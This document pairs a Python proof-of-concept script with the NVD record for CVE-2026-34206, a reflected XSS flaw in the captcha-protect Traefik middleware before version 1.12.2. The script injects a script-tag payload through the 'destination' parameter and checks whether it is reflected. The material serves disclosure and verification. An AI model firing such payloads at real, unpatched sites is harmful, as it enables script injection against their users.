CVE-2026-34206

# Proof of Concept for CVE-2026-34206 # The vulnerability allows injection of arbitrary scripts into the destination parameter. import requests target_url = "http://target-host/challenge-page" # Payload breaks out of the hidden input attribute and injects a script tag payload = '"><script>alert("CVE-2026-34206-XSS")</script>' params = { "destination": payload } try: response = requests.get(target_url, params=params, timeout=5) if payload in response.text: print("[+] Vulnerability Confirmed: Payload reflected in response.") else: print("[-] Vulnerability not detected or payload filtered.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-34206", "sourceIdentifier": "[email protected]", "published": "2026-03-31T20:16:28.830", "lastModified": "2026-04-07T15:59:28.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Captcha Protect is a Traefik middleware to add an anti-bot challenge to individual IPs in a subnet when traffic spikes are detected from that subnet. Prior to version 1.12.2, a reflected cross-site scripting (XSS) vulnerability exists in github.com/libops/captcha-protect. The challenge page accepted a client-supplied destination value and rendered it into HTML using Go's text/template. Because text/template does not perform contextual HTML escaping, an attacker could supply a crafted destination value that breaks out of the hidden input attribute and injects arbitrary script into the challenge page. This issue has been patched in version 1.12.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libops:captcha_protect:*:*:*:*:*:traefik:*:*", "versionEndExcluding": "1.12.2", "matchCriteriaId": "0521B194-E67A-4D35-B160-9410AE9668AA"}]}]}], "references": [{"url": "https://github.com/libops/captcha-protect/commit/eef6211ecd1147273be484d913b81c68c0bd8d3f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/libops/captcha-protect/releases/tag/v1.12.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/libops/captcha-protect/security/advisories/GHSA-ph62-4j5g-2q4r", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}]}}